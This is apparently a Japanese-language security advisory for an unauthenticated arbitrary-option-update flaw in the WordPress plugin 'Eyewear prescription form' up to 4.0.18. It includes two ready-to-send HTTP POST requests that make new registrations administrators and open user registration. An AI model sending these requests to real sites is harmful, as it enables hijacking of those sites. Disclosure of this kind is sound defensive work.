
Eyewear prescription form <= 4.0.18 - 認証欠如による未認証の任意オプション更新
WordPress用プラグイン「Eyewear prescription form」は、adminSetting()関数の権限チェックが欠如しているため、バージョン4.0.18以前のすべてのバージョンにおいてデータの不正変更に対して脆弱であり、権限昇格につながる可能性があります。これにより、未認証の攻撃者がWordPressサイト上の任意のオプションを更新することが可能になります。これを利用して、登録時のデフォルトロールを管理者に変更し、ユーザー登録を有効にすることで、攻撃者は脆弱なサイトへの管理者権限を持つユーザーアクセスを取得できます。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
action=adminSetting&data[settingCode]=default_role&data[settingValue]=administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
action=adminSetting&data[settingCode]=users_can_register&data[settingValue]=1